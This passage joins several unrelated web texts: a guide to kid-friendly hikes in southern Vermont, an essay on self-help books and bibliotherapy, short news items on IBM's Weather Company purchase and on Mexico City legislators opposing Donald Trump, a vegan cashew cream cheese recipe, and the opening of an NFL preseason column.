well-loved. It is most popular as a picnic and swimming spot for local families, but the trail around the lake is underappreciated and quite lovely. The hike is more of a ramble — a mile in length, meandering through the woods, then wetlands, than back into the woods, with a constant view of the lake. Waterfowl are plentiful most of the year, and we’ve also spotted bald eagles and osprey on numerous occasions. After your hike, your kiddos will want to spend some time on the water, and the beach is the perfect spot for relaxing with a good book. I highly recommend driving south on route 7A for another mile and visiting the Chocolate Barn for the best ice cream you’re ever likely to taste in Southern Vermont. Difficulty level: easy Length of trail: 1-mile loop Kid appeal: swimming, boardwalk through wetlands, decent fishing, boat rentals Dogs: nope, unless you visit in the off-season Fee: $4 for adults, $2 for children For more on this hike, check out: An Autumn Walk Around Lake Shaftsbury Woodford State Park, Woodford, Vermont The hiking trail in Woodford State Park brings you around Adams Reservoir, a gorgeous, tree-lined lake nestled in the Green Mountains. Woodford State Park is much more secluded than Lake Shaftsbury, and much cooler (temperature wise). We’ve seen moose up here and spent days on the water without running into another person. The trail around the lake isn’t difficult, but at 2.7 miles, it might be hard for younger kids to make it around. We love how dark and mossy the trail is. There are several easy stream crossings, and you may even see the carnivorous sundew plants if you look very carefully along the shore. Difficulty level: easy to moderate Length of trail: 2.7 mile loop Kid appeal: swimming, playground, boat rentals Dogs: on leash Fees: $4 for adults, $2 for kids Want to learn more about Woodford State Park? Check out: Woodford State Park: A Park for All Seasons Mile Around Woods, North Bennington, Vermont The Mile Around Woods trail is one of the best hikes in Southern Vermont. It sits behind the beautiful Park McCullough house in North Bennington, VT. This loop starts by taking hikers through beautiful farm fields of grazing horses, then meanders through a hardwood forest on a lovely, wide path. The forest loop is exactly a mile long, but you can make the adventure last by traipsing across several fields, or by visiting the historic Park McCullough House and Hiland Hall gardens. I recommend making an afternoon of it – the Park McCullough House is open for tours on Friday, Saturday, and Sunday from May to October. The Hiland Hall gardens have been meticulously restored and are located behind the main house. Difficulty: easy for all ages Length: 1 mile loop Kid appeal: farm animals, wildflowers, rocks for climbing Dogs: on leash Fees: none, unless you want a tour of the historic house For a trail map, please visit the Fund for North Bennington. Emerald Lake State Park, East Dorset, Vermont Emerald Lake State Park is nestled in a deep valley between the Taconic Mountains to the West and the Green Mountains to the east. The two mountain ranges are only a few hundred yards apart here, and they rise up steeply on either side of the lake. Covering just 20 acres, Emerald Lake isn’t big, but what it lacks in size it makes up for in beauty. There are several hiking trails in Emerald Lake State Park, and if you and your kids are into vistas, I recommend checking out the Vista Trail, which is a steady climb with awesome views of the lake. I have to say that our kids much prefer the lake trail, which hugs the shoreline, with side trails into the three campground loops. We like taking the trail to the “C” loop because it travels through the wetlands at the south end of the lake, perfect for some kid-friendly birding adventures. Difficulty: easy, although the campground trail is kind of steep Length of trail: The lake trail is .5 miles and the campground trail is .4 miles, one way. You can walk back to the beach and parking lot on the campground roads, or turn around and retrace your steps. Kid appeal: awesome swimming, rope swing for big kids (on the island), bird watching, boat rentals Dogs: They’re allowed in the campground and on the trails (on leash), but not at the beach or picnic areas. Fees: $4 for adults, $2 for children For more about Emerald Lake trails, check out: A Summer in Vermont: Exploring Emerald Lake State Park Merck Forest and Farmland Center, Rupert, Vermont Merck Forest and Farmland Center is a nonprofit educational center and outdoor stewardship organization that maintains 3,162 acres of woods and farmland in Rupert, Vermont. There are more than 30 miles of hiking trails to explore, plus cabins for camping. We like to stroll around the farm, visit the animals, check out the maple tap house, and then head up to Birch Pond for a dip and a picnic. This is a fairly easy, 3-mile loop, but we often make a day of it because the animals are so hard to resist. Difficulty: easy to moderate Length of trail: 3-mile loop Kid appeal: swimming, farm animals Dogs: They are allowed on the trails, but if you want to visit the animals, you should leave your dog at home. Fees: Free Read more about Merck Forest here: Cabin Camping at Merck Forest Hikes for Kids in South Central Vermont Stratton Mountain Fire Tower, Stratton, Vermont At 3,940 feet, Stratton Mountain is Southern Vermont’s tallest peak. The hike to the Stratton Fire Tower from the base of the mountain gains 1,700 feet in elevation, and is 6 miles, round trip. This is a great hike to aspire to, but it’s probably not suitable for young children, unless they are avid hikers already. Luckily, there’s a shortcut. During summer weekends, and every day during the fall foliage season, you can hop aboard the gondola at Stratton Mountain Resort. From there, it’s an easy, .7 miles to the fire tower, which provides unparalleled views in all directions. Difficulty: easy Length of trail: 1.4 miles round-trip Kid appeal: gondola ride, fire tower Dogs: No Fees: It’s $35 for a family of up to eight people to ride up the mountain in a gondola cabin. The Stratton Mountain Blog has a good overview if this adventure. Check out: Venture Vermont: Stratton Fire Tower Hike Mt. Olga, Molly Stark State Park, Wilmington, Vermont Mt. Olga is a great day hike for folks visiting Wilmington, which by the way, is one of my favorite Vermont towns. It’s a 1.8 mile loop to the top of the mountain. Older kids will appreciate that they are actually climbing a mountain, but it’s not so hard that it’s frustrating. Still, it is all up hill, so prepare yourself and your kids with an incentive for reaching the summit. We usually opt for cookies and ice tea. When my kids were little, we would read a chapter of their favorite book at the top. If you explore the summit a bit, you’ll find ruins of the defunct Hogback Ski Resort up here, which are fun to poke around. Difficulty: moderate Length of trail: 1.8 mile loop Kid appeal: ruins, Fire Tower Dogs: on leash Fees: $4 for adults, $2 for kids For more about exploring Wilmington, check out: The Complete Guide to Exploring Wilmington, Vermont Little Rock Pond, Mt. Tabor, Vermont Looking for a nice hike to a pristine mountain lake? Little Rock Pond sits just off the Appalachian / Long trail. The hike is 4 miles round-trip, but it gains just 350 feet in elevation. The lake is just far enough from civilization that it is never crowded, but close enough that it can be a nice day trip for a hike, picnic, and swim. Other hikers have seen leeches in Little Rock Pond, but I never have, and we’ve been there dozens of times. Just something to be aware of. There’s a lean-to shelter and several tent platforms set up near the lake for hikers, which also makes this hike the perfect first backpacking adventure for your family. Difficulty: easy Length of trail: 4 miles, round trip Kid appeal: swimming, rock jumping, beaver activity Dogs: yes Fees: none, although there is a nominal fee for camping For a trail description and directions, check out this article in the Castleton Spartan. Hamilton Falls, Jamaica State Park, Jamaica, Vermont Jamaica State Park is one of our favorite Vermont State Parks. It includes an awesome rail trail that hugs the West River, which is a gem for swimming. As you hike or bike this trail, you’ll find lots of secluded swimming holes. If you have little kids, I recommend sticking to the West River Rail Trail, which goes all the way to the Ball Mountain Dam. The hike to Hamilton Falls is probably the most challenging on this list. It’s 6 miles round-trip — 2 miles on the rail trail, and then a 1.1-mile climb to the base of the falls. We often shorten our trip by biking the rail trail and then locking our bikes up to a tree while we hike to the falls. Difficulty: easy on the rail trail, but a steep climb to the falls Length of trail: 6 miles round-trip Kid appeal: River swimming, playground, waterfall Dogs: on leash Fees: $4 for adults, $2 for kids For directions and a trail map, check out the Vermont State Parks website. Hikes for Kids in Southeastern Vermont Mt Ascutney State Park, Windsor, Vermont There are several hikes up Mt. Ascutney, a beautiful monadnock overlooking the Connecticut River Valley, but if you’re hiking with small children, or you want a more relaxing day trip, you can drive right up the mountain to a summit parking area. Once at the top, the summit trails are easy and fun to explore, with incredible views, a fire tower, and a hang glider launch pad. In fact, Mt. Ascutney is one of the premier hang gliding destinations in the northeast. There are several trails criss-crossing the summit, but if you want to climb the fire tower and watch the hang gliders, I recommend taking the summit trail to the Weathersfield trail to the hang glider’s trail. The whole loop is about 2 miles. Difficulty: moderate Length of trail: 2-mile loop Kid appeal: hang gliders, awesome views, fire tower Dogs: on leash Fees: $4 for adults, $2 for kids Want to read more about Mt. Ascutney State Park, check out: Vermont’s Mighty Monadnock Black Mountain, Dummerston, Vermont At 1,280 feet, Black Mountain isn’t huge, but it is an unusual ecosystem for Southern Vermont, boasting lots of mountain laurels and blueberry bushes (ready in late July or early August), and lots of exposed granite. The views are good, but a bit obstructed by trees. When you get to the top, it pays to explore a bit for more exposed outcroppings of rocks and better views. There are two trails up the mountain, from either Rice Road or Black Mountain Road. The Rice Road trail is 1.5 miles and steep. The Black Mountain Road trail is 2.5 miles, but a more moderate climb. Choose the one most suitable for your family. Difficulty: moderate to difficult Length of trail: depends – see above Kid appeal: blueberries, wildlife, good birdwatching Dogs: no Fees: none Putney Mountain, Putney, Vermont There is a whole network of trails here, maintained by Windham Hill Pinnacle Association and the Putney Mountain Association. The Putney Mountain trail is easy enough for families, provides awesome views of the Green Mountains to the west, and is one of the premier spots to watch migrating hawks in the spring and fall. Once you reach the summit, you can continue on the West Cliff Trail for a longer hike, or loop around back to your car for a total of 1.2 miles. Difficulty: moderate Length: 1.2 mile loop Kid appeal: vista, hawk watch Dogs: on leash Fees: none For a directions and a detailed trail map, visit Windam Hill Pinnacle Association There are many, many trails in and around Brattleboro that I haven’t explored yet. If you have, please leave a comment. I’d love some more recommendations. Also, the Brattleboro Area Trail System has a fabulous trail map and guide for anyone who wants to explore the area. As I visit more trails in Southeastern Vermont, I will update this page. If you’re interested in reading about our favorite hiking trails for kids in Northern Vermont, check out this post: Super Awesome Hikes for Kids in Northern Vermont Did you enjoy this post? Please pin for later or share with your friends! -Most people enter the self-help realm while planning a personal improvement project, a kind of steam-cleaning of the soul. I fell into it by mistake. Maybe the allusion to a familiar poem was what made me pull M Scott Peck’s The Road Less Travelled (1978) off my parents’ shelf as a young teen. In any case, I was hooked. Beset by typical middle‑school problems – bullies, fickle friends, chronic wallflower-dom – I was intrigued by the claim of this psychiatrist from Connecticut that suffering could have a noble and necessary purpose, as long as you showed the fortitude to tackle your issues head-on. ‘When we avoid the legitimate suffering that results from dealing with problems,’ Peck wrote, ‘we also avoid the growth that problems demand from us.’ A budding skeptic confronted with an array of belief systems, I felt that Peck’s emphasis on dedication to truth helped to ground me. And when I was tempted to nurse crushes as an alcoholic might a sloe gin fizz, Peck was there to remind me that true love involved a conscious choice to nurture the other partner’s wellbeing. Seekers in past generations might have found refuge in Rainer Maria Rilke or the Bible; I turned to the fatherly Peck, a remote but magnanimous presence who advocated self-discipline as the path to growth and happiness. In the following years, I adopted other adolescent bibles, including Reviving Ophelia: Saving the Selves of Adolescent Girls (1994) by the psychologist Mary Pipher. The book decried a toxic, sexualised culture that, as Pipher wrote, ‘limits girls’ development [and] truncates their wholeness’, arguing for new cultural ideals valuing all young women’s gifts. I obsessively re‑read Ophelia in the spirit of self-help, to gain insight into my new, foreign-feeling body and mind, and was cheered by its message that my looks didn’t have to determine my destiny. Standard-bearers such as Peck and Pipher made me feel that I could read my way to a better life. And as it turns out, my teenage conviction might not have been too far off the mark. Studies show that self-help books can resolve readers’ depressed moods, change ingrained thought patterns, and instill a renewed zest for life – as long as the advice within is scientifically sound. For many patients, so-called ‘bibliotherapy’ seems to work as well as talk therapy or drugs such as Prozac. In an ideal world, says the psychologist John Norcross at the University of Scranton, self-help books would be tried early in the course of therapy; medications and other intensive treatments would be a last resort, reserved for more serious cases. With ‘psychosis, suicide, emergencies, you get immediately to the professionals. But for most people, why not start with a book?’ Its New Age veneer aside, the self-help genre has been evolving and thriving for millennia. Canonical books of all cultures are full of advice on how to live a more moral and satisfying life. The Upanishads, written by Hindu sages from an ethnically diverse Indian society, emphasised the necessity of treating others with tolerance and respect. ‘For those who live magnanimously,’ one book states, ‘the entire world constitutes but a family’ – advice that continues to help readers navigate today’s pluralistic India. The Jewish thinkers who wrote the Bible’s Old Testament in the 7th century BCE advised the narrow yet fulfilling path of strict adherence to God’s commandments, which seemed a fitting, unifying maxim for a people often beset by empires waging attack. One of the earliest self-help guides in wide circulation was Marcus Cicero’s De Officis (On Duties), which the Roman politician wrote as a letter to his son. Cicero advised the younger Marcus to focus on meeting obligations to others, even if it required great sacrifice, and warned him away from shallow sources of gratification. ‘Brave he surely cannot possibly be that counts pain the supreme evil,’ Cicero wrote, ‘nor temperate he that holds pleasure to be the supreme good.’ This advice was rooted in Roman mos maiorum (ancestral custom), which emphasised loyalty to the empire above one’s own wellbeing – an ironclad moral code that fuelled the empire’s expansion for many years. Centuries later, farmers, tradespeople and politicians laboured mightily to establish the still-young United States as an economic and social power. The new country’s citizens – who often lived off the land and took pride in stalwart self-sufficiency – found kindred spirits in self-help spokesmen such as Henry David Thoreau and Ralph Waldo Emerson, both of whom emphasised the sacrifice and struggle required to lead a meaningful life. ‘A great man is always willing to be little,’ Emerson opined in an 1841 essay. ‘When he is pushed, tormented, defeated, he has a chance to learn something.’ But by the mid-20th century, such self-abnegation was no longer in vogue. The prosperous Western economy was fuelling a generation of opportunists obsessed with maximising and flaunting their talents. A flurry of self-help books arrived to mark this transition, including Dale Carnegie’s How to Win Friends and Influence People (1936). Peck’s pull-no-punches opening sentence: ‘Life is difficult’ delivered an old message of discipline and restraint that was striking a new chord Overnight, it seemed, personal agency and self-insight had become hot commodities – Freudian psychoanalysis was all the rage – and the new self-help titles initially seemed to offer a painless shot at a certain kind of lasting change, one based on consciously shifting your thought patterns. In the 1950s, Norman Vincent Peale’s The Power of Positive Thinking (1952) ruled bestseller lists with its promise that changing your inner monologue could boost the quality of your life. ‘Think positively,’ he wrote, ‘and you set in motion positive forces which bring positive results to pass.’ Thomas Harris’s classic I’m OK, You’re OK (1969) taught readers that when they put their minds to a realistic assessment of their personal worth, their lives and relationships would improve. Harris went as far as to say that many of the world’s problems could be better tackled if more people would speak to each other as reasonable adults, rather than unthinkingly allowing past childhood wounds to colour everyday interactions. But as the era’s optimism and hippie excess faded, the tenor of self-help books shifted accordingly. The Road Less Travelled attracted a new, larger following in the no-nonsense 1980s, when the book hit the New York Times bestseller list for the first time. Peck’s pull-no-punches opening sentence: ‘Life is difficult’ delivered an old message of discipline and restraint that was striking a new chord. These days, the self-help landscape seems to be split in two. On the one hand, the culture’s growing insistence on empiricism has left a clear stamp on the genre. Gone is the relatively freewheeling prose of How to Win Friends and Influence People and even The Road Less Travelled, which mainly espouse the authors’ personal views rather than particular scientific theories or schools of thought. They’ve been succeeded by books such as David Burns’s Feeling Good: The New Mood Therapy (1980), Martin Seligman’s Learned Optimism: How to Change Your Mind and Your Life (1990), and Carol Dweck’s Mindset: The New Psychology of Success (2006), all of which cite one scientific study after another to bolster their recommendations for behavioural change. Many of today’s popular science books also advertise some sort of self-help takeaway. Malcolm Gladwell’s David and Goliath (2013), marshalls research describing how people can turn perceived weaknesses (dyslexia, childhood trauma) into strengths – a message tailor-made for self-improvement boosters. Yet alongside the science-backed titles are those that peddle unsupported, even unhinged, claims. The bestselling The Secret (2006) by the TV writer Rhonda Byrne asserts that our thoughts send vibrations into the universe, which affects what happens in our lives. Good thoughts, the theory goes, create good outcomes, while bad thoughts create bad ones. ‘If any events or moments did not go the way you wanted, replay them in your mind in a way that thrills you,’ Byrne writes. ‘As you recreate those events in your mind exactly as you want, you are cleaning up your frequency from the day and you are emitting a new signal and frequency for tomorrow.’ Discerning researchers have started calling out the woo-peddlers in recent years, proving that a self-help principle’s popularity is no guarantee of its quality. In a 1999 study at the University of California, Los Angeles, students who visualised themselves scoring high on an upcoming test actually scored lower and devoted less time to preparation than students who did not visualise this outcome. And in a 2009 study, the psychologist Joanne Wood at the University of Waterloo found that people who had low self-esteem to begin with actually felt worse after parroting positive statements about themselves. So the power of positive thinking touted in books such as The Secret can be little more than a mirage. ‘Concluding that it works based on personal experience does not constitute rigorous research,’ Wood says. Other advice commonly dispensed in self-help books – such as that venting your anger will diminish it or, if you’re feeling down, you should fill your mind with happy thoughts – have likewise failed to stand up to scientific scrutiny, as the psychologist Jeremy Dean points out. But as wayward as some self-help guidance can be, the genre also offers advice that is strikingly on the mark, even transformational. A handful of recent studies have underscored bibliotherapy’s potential to help create positive life change, as long as the book’s underlying tenets are sound. Depressed people in a 2010 trial at the University of Nevada thrived when they read Feeling Good, which navigates readers through the process – endorsed by cognitive-behavioural therapy (CBT) – of identifying their negative thoughts, assessing whether those thoughts were distorted, and if so replacing the thoughts with more logical, reality-based ones. Study participants in the bibliotherapy group showed as much mood improvement as members of another group who received ‘usual care’, including antidepressant prescriptions. Self-help readers can maximise mental-health benefits by demanding at least some proof that the books they choose deliver on their promise And in a 2013 study at the University of Glasgow, depressed subjects who used Chris William’s workbooks on overcoming depression were compared with subjects who received standard depression treatment, which included monitoring, antidepressants and referral to a psychologist. Four months after the start of the study, members of the bibliotherapy group scored several points lower on the Beck Depression Inventory than did members of the standard-care group. Norcross endorses the idea that the right self-help books could serve some patients better than antidepressants or other psychoactive drugs, and without such common side effects as mood blunting, sleeplessness and sexual dysfunction. ‘Antidepressants are horribly over-prescribed. It’s particularly true for mild disorders that we know respond to self-help,’ he says. ‘We endorse a self-care approach. You start with the least expensive, most accessible materials.’ Norcross is well aware that the self-help canon is a lot like the patent medicine industry of the late 1800s, replete with products promising personal transformation, few of them offering proven effectiveness. So should self-help books be held to a scientific standard of proof? Norcross thinks so. ‘There should probably be some regulation. I’m one of those people that believes there needs to be an FDA [US Food and Drug Administration] equivalent for this.’ But Norcross knows it’s wishful thinking to expect clinical trials for self-help books, so he developed a less labour-intensive way to assess the books’ mettle. He surveyed a group of more than 2,500 psychologists, asking them to rate the effectiveness of self-help titles their clients had tried. Feeling Good emerged on top of the heap, with an average score of 1.51 on a scale from -2 (worst) to 2 (best). A handful of autobiographies scored almost as well, including William Styron’s Darkness Visible (1990) and Kay Jamison’s An Unquiet Mind (1995), perhaps because they outline concrete coping strategies while also helping mood-disorder sufferers feel they’re not alone. Since Norcross conducted his survey, the UK’s National Health Service has given bibliotherapy a real-world road test. Through a programme called Reading Well Books on Prescription, patients with mild to moderate depression borrow library books such as Burns’s The Feeling Good Handbook (1990) or Frank Tallis’s How to Stop Worrying (1990) on doctors’ orders. Health authorities have endorsed all the books in the programme as offering evidence-based benefits, and it has good reviews from the reading public. In one survey of the Warwickshire region, three in four respondents ‘strongly agreed’ that Books on Prescription had improved their wellbeing. Norcross’s research and the Books on Prescription results suggest that discriminating self-help readers can maximise mental-health benefits by demanding at least some proof that the books they choose deliver on their promise. This might mean that experts confirm a book contains valid principles, that the author cites peer-reviewed studies to support key points, or that the book has demonstrably helped a significant number of people. (Norcross’s studies have found no correlation between a book’s popularity and its effectiveness, so he warns against surface criteria such as sales numbers and celebrity endorsements.) Bibliotherapy is probably best undertaken with the guidance of a trained therapist – someone who can help readers assess how well the approach is working, offer advice on how to put self-help principles into practice, or recommend stronger treatment if appropriate. When we pore endlessly over self-help titles, we’re groping for something more profound – to infuse our plodding lives with new texture and meaning Once a particular book meets basic effectiveness benchmarks, the final verdict is more dependent on each seeker’s unique sensibilities. Self-help’s empirical shift has been a boon: readers can now proceed with more confidence that the end results will be worth the effort invested. But this shift has also given rise to many books that aim to help readers solve specific, bounded problems (depression, pessimism, relational conflict, social anxiety) rather than offering broader insights about how to live. Decades ago, when educated people regarded psychotherapy as a basic tool for carving out a fulfilled existence, it was only natural that self-help books such as Harris’s and Peck’s tracked the zeitgeist, guiding people to achieve the deep-rooted life satisfaction Aristotle called eudaimonia. Nowadays, therapy tends to focus more on healing well-defined mental pathology, and much recent self-help literature does the same. Still, through all these changes in intellectual fashion, our desire for eudaimonia remains as strong as ever. In his writings, Norcross has pegged the self-help movement as part of the ‘human quest to understand and conquer behavioural disorders’, but many readers would find that description incomplete. When we pore endlessly over self-help titles, most of us aren’t just looking to resolve our problems one by one, with a to-do list mentality. We’re groping for something more profound – to infuse our plodding lives with new texture and meaning. That’s why the psychologist Susan Krauss Whitbourne at the University of Massachusetts thinks it’s important to approach each self-help title with subjective attention to whether the content resonates on a deep level. ‘You want to look at: Is this something that’s going to work? What do I see in there that relates to me personally?’ It’s that sense of connection with a book, Whitbourne believes, that lets readers forge a therapeutic alliance with the author, boosting the odds that a literary meeting of the minds will spur genuine change. Having dipped into self-help books with a strong empirical bent, I can attest that the benefits are real. I’m convinced that Feeling Good, with its well-vetted techniques to combat negative thinking, helped lift me out of a stubborn bout of depression. As someone prone to descend into spirals of dark thought, I also benefited from the advice of Burns’ colleague, psychiatrist Aaron Beck, who recommends keeping a ‘Daily Record of Dysfunctional Thoughts’. Writing down my exaggerated thoughts, identifying the errors they contained, and rebutting them with more logical thoughts helped keep my problems in perspective. The thought-challenging exercises reinforced a critical truth – I didn’t have to buy into everything my sometimes-overheated brain was telling me. My book-inspired course of self-therapy, I now believe, helped me as much as my sessions with a psychologist. Even so, when I encounter a future crisis of the soul, the eminently practical Feeling Good won’t be the only book I reach for. I might also pick up The Road Less Travelled, with its time-tested wisdom about finding meaning in struggle. Or I might open Darkness Visible, the unforgettable testimony of a writer who found the way back from his own personal hell. When it comes to achieving eudaimonia, we are all lone cosmonauts fumbling our way. The literature we choose to guide us should supply proven advice we can trust. But it should also, as Franz Kafka wrote, be ‘the axe for the frozen sea within us’, bludgeoning us in ways that awaken us to the extraordinary. -IBM Corp. IBM, +0.20% on Wednesday confirmed the purchase of The Weather Company, which includes the Weather Channel and its related technology platforms and sensors, to enhance its cloud ecosystem. Terms of the deal, including the price, were not disclosed, but IBM said the purchase adds to the $3 billion investment IBM committed earlier this year to build out products and services in the Internet of Things. The Weather Company's cloud-based services handle 26 billion inquiries each day through its mobile app and website, according to IBM. In addition to the increased cloud-servicing capacity, the company plans to use the data provided by The Weather Company's sensors to boost its analytics offerings for business clients. Shares of IBM rose 1.3% to $139.70 in recent trade. They are down nearly 13% over the last three months, underperforming the Dow Jones Industrial Average, which is flat. Have breaking news sent to your inbox. Subscribe to MarketWatch's free Bulletin emails. Sign up here. -Mexico City legislators passed a proposal this week to ban Donald Trump from entering their country, following the presidential candidate’s repeated xenophobic rhetoric surrounding immigrants, particularly those from Mexico. The proposal, which passed unanimously, is largely a symbolic recommendation since the local legislature cannot enforce federal legislation, as the Huffington Post pointed out. But Deputy José Manuel Delgadillo of the conservative National Action Party noted that the proposal was a way to urge Mexican President Enrique Peña Nieto to more forcefully confront Trump. From the Mexico City legislature, which asked the federal government to ban Donald Trump from the country today pic.twitter.com/VNdykeEQ9f — Roque Planas (@RoqPlanas) March 3, 2016 “What we’re saying is that if he wants to build a wall so that Mexicans can’t enter his country, then he is not welcome in our country,” Delgadillo said, according to the publication. “What we need now is for President Peña Nieto to make a strong statement condemning Mr. Trump’s anti-Mexican comments.” Advertisement Trump has been running his presidential campaign on inflammatory rhetoric that denigrates Mexican immigrants as “rapists” and criminals, as well as the mass deportation of undocumented immigrants. He recently stated that Mexico was “killing” the United States by providing cheap labor. Meanwhile, former Mexican President Felipe Calderon said Trump reminded him of Adolph Hitler. Local Mexico City legislators aren’t the only ones pushing back on Trump’s rhetoric. After Trump called for Mexico to build a wall along its shared border with the United States, former Mexican President Vicente Fox responded by using profanity. “I’m not going to pay for that fucking wall,” Fox said. Up until now, the current Mexican government hasn’t directly addressed Trump’s charges. But Peña Nieto’s chief of staff hopes that the government may be able to counter some of his harsh views by eventually meeting with the Republican and Democratic nominees to talk about its relationship as an economic opportunity. A potential Trump presidency may actually be spurring an increase of migrants at the southern U.S. border, according to Reuters . Between October 2015 and February 2016, the U.S. Customs and Border Protection (CBP) agency reported a 24 percent increase in the number of migrants detained as they crossed the U.S.-Mexico border. One worker at a migrant shelter in Mexico attributed Trump’s rhetoric to the surge in migrant crossings, stating to the publication, “They think they need to take advantage while they can.” -When I went vegan, I figured that cream cheese was just gonna be one of those things I lived without. I tried a couple of store brands, including Tofutti (umm, tastes like tofu to me), and Daiya (so chalky I can’t even get it down!), and Trader Joe’s Brand (I can’t remember why I hated that one, so I guess I blocked it from my memory). In short, commercial vegan cream cheese substitutes just do not do it for me. Nor did blending cashews with lemon juice. I mean, that tasted good, but it didn’t have that hip tang. I gave up for a while. Years, actually. I put hummus on my bagels and soyrizo in my jalapeno poppers. Then one day, I discovered that you can make easy cultured cashew cream cheese with nothing but nondairy yogurt and cashews. WTF? Was it seriously that easy this entire time? Yes. Yes it was. It sure freaking was. I have wasted no time playing catch-up on all of the cream cheese I missed out on eating during those dark days. This stuff is so superior to anything else I’ve tried. It’s sublime. Not only is it delicious vegan cream cheese… it just IS cream cheese. It takes exactly the same as the cow-derived variety, with none of the cruelty or digestive sadness. One of my good friends eats dairy foods. I fed him this stuff and he was even more excited than I am. He asked me for the recipe and now slathers it on his bagels too. I may not have turned him vegan yet, but I’m pretty sure there’s one more happy cow out there thanks to this amazing vegan cultured cashew cream cheese. I’m a little intimidated by fermented foods. I took a few stabs at making rejuvelac for the Artisan Vegan Cheese recipes, and it didn’t work so well for me. Beyond that, the process made me incredibly nervous. So take it from someone who is far from a whiz with culturing and fermenting things: this cashew cream cheese is extremely easy to make. And unlike rejuvelac, you will already know what the end product is supposed to smell and taste like! You know what yogurt is like, and you probably know what dairy cream cheese is like. You’ll be fine! If you’re nervous, start with a half batch (assuming your blender is small enough that it can blend that volume of ingredients smoothly). Here is the super simple recipe! (Pictured on homemade bagels). Finally a vegan cream cheese that doesn’t taste weird or have a bunch of funky ingredients. Just cashew cream and a little patience :). 4.8 from 34 votes Print Simple Cultured Cashew Cream Cheese Amazingly easy vegan cultured cashew cream cheese, made from just two ingredients: cashews and nondairy yogurt. This vegan cream cheese will make a believer out of any skeptic. Naturally paleo, gluten-free, grain-free and no sugar added! Prep Time 10 minutes Total Time 10 minutes Total Yield 2 cups Calories Per Serving 81 kcal Author Yup, it's Vegan Ingredients 2 cups raw cashews soaked overnight in filtered water (raw macadamia nuts also work - but will take a lot longer to blend) 2 tbsp plain, unsweetened non-dairy yogurt (see notes) 1/2 tsp sea salt (plus more to taste) filtered water as needed to blend Instructions Prepare a clean and dry glass or other nonreactive container. I use a Pyrex container. It may not be strictly required, but it's best to sterilize all of your equipment with boiling water before getting started. Drain the liquid off of the soaked cashews. Add them to a blender or food processor and blend until completely smooth. If you aren't used a high-powered blender, it will take several minutes for the cashews to break down and release oils in order to become a smooth mixture. Stop to scrape down the sides as needed; you can also add filtered water a tablespoon at a time if you're having trouble blending. Note: if your blender has warmed the mixture very much, it's best to take a break now and wait for it to cool down (we don't want to kill the yogurt cultures with heat). Then, add the yogurt and salt and pulse to combine. Transfer to the clean container and cover. Let sit out at room temperature for 24 hours. Use a clean utensil to taste the mixture, and add more sea salt to taste; let it culture for another 12-24 hours if you want a stronger tang. Store in the refrigerator for up to 1 weeks. (Note: length of storage time may depend on the culturing conditions and brand of yogurt used). (Optional step) This recipe makes cultured cashew cream cheese with a texture more like "whipped" dairy cream cheese. For a firmer texture like block cream cheese, press out the liquid using cheesecloth. Recipe Notes I use So Delicious Plain Unsweetened Cultured Coconut Milk as my nondairy yogurt of choice. I have tried this with soy yogurt and it also works. I find Forager cashew yogurt a little more prone to mold than other brands. Whatever you do, please use UNflavored, UNsweetened, yogurt. I have experienced that the raw cashews sold at Trader Joe's are a lower quality than other vendors. They do work for this recipe, but I recommend against them if you have other options available. Nutrition Facts Simple Cultured Cashew Cream Cheese Amount Per Serving (2 tablespoons) Calories 81 Calories from Fat 54 % Daily Value* Total Fat 6g 9% Saturated Fat 1g 5% Polyunsaturated Fat 1g Monounsaturated Fat 4g Sodium 76mg 3% Total Carbohydrates 4g 1% Dietary Fiber 1g 4% Sugars 1g Protein 3g 6% Calcium 1% Iron 5% * Percent Daily Values are based on a 2000 calorie diet. Recipe source: Miyoko Schinner via Your Vegan Mom Other troubleshooting: The cultured cashew cream cheese won’t actually culture at all: The ambient temperature in your kitchen may be too cool. Try moving the mixture to a warmer location, or adding a bit more yogurt. The cashews won’t get smooth: You really do need to soak them overnight first, and use RAW cashews. And have patience: it can seem like all they’re doing for 5 minutes is getting grainy, but keep blending and they will eventually start to release their oils and get smooth. It’s basically the same chemistry as making nut butter. The mixture doesn’t taste like anything, not even yogurt. More salt! This definitely needs plenty of salt to bring out the flavor. -The regular season is about the team. The preseason is about the individual. This is the month for rookies and running backs. It's about position battles and injuries. The next four weeks are a pale imitation of the real thing, but you can still learn plenty if you know what to look for. Below, you'll find my watchability rankings for the preseason, powered by science and analytics. During the regular season, this column will detail the teams and players that are most intriguing in a given week. The qualifications are much different in the preseason. Information matters more than results. We'll look for clues on player usage and traits while understanding that August is a mirage usually conjured up by thirsty football takesmen. Teams don't truly game-plan in the preseason, which makes it a different sport. Stable teams take a backseat for now; the preseason won't tell us much about the Panthers and Packers. This month is all about the players and teams we don't know. Quarterbacks battling 1) Denver Broncos 2) Los Angeles Rams 3) San Francisco 49ers 4) Philadelphia Eagles Quarterback curiosity trumps all in the preseason. Three of the teams I want to watch most over the next month have open starting jobs, with No. 2 overall pick Carson Wentz's Eagles thrown in. This entire Broncos quarterback situation is unprecedented. The 2001 Ravens are the only other defending champions to replace their top two quarterbacks, but they didn't hold an open competition in camp. Baltimore simply handed the job to Elvis Grbac, a decision that proved even the best general managers make big mistakes. John Elway hoped to avoid that in Denver by trading for veteran Mark Sanchez (who is signed to a modest deal) while drafting Paxton Lynch in the first round. Lynch isn't believed to be a candidate to start due to an erratic camp, although a red-hot preseason could always change the picture. Sanchez will start Denver's preseason opener, with Trevor Siemian very much in the mix. It's a terrible sign for Sanchez that he has failed to gain any separation in practice against Siemian, a second-year pro drafted in the seventh round in 2015. The tie should go to the younger player. It is all reminiscent of 2013 in New York, when Sanchez struggled to beat out then-rookie Geno Smith. The difference here: Siemian's careful playing personality makes him less likely than Sanchez to commit a game-crushing mistake. Perhaps that's all Denver coach Gary Kubiak wants. The Broncos have the biggest range of potential outcomes of any team in football this year. They could repeat as champs or finish under .500 -- nothing would surprise. That makes them a must-watch team, even in August. (Rookie safety Justin Simmons and rookie running back Devontae Booker are also players to keep an eye on.) August is Chip Kelly season. Sam Bradford threw roughly 10 well-placed passes last year around this time under Kelly in Philly, and suddenly the Eagles became a trendy playoff pick. Now, of course, Kelly is in San Francisco, and the coach indicated the preseason will largely decide the battle between Colin Kaepernick and Blaine Gabbert, which has looked tight in practice. It has also inspired actual headlines like: "Kap vs Gabbert: 49ers fans will likely hate the winner and loser." Put aside the cynicism for a minute, and you'll see two quarterbacks with raw skill and a coach unafraid to be aggressive. The 49ers are such a strange team, but Kelly makes them fascinating. The defensive front seven is better than you think, especially if rookie DeForest Buckner makes good on his camp buzz. Two of the three starting receiver jobs are open, as is the tight end job. The football dork in 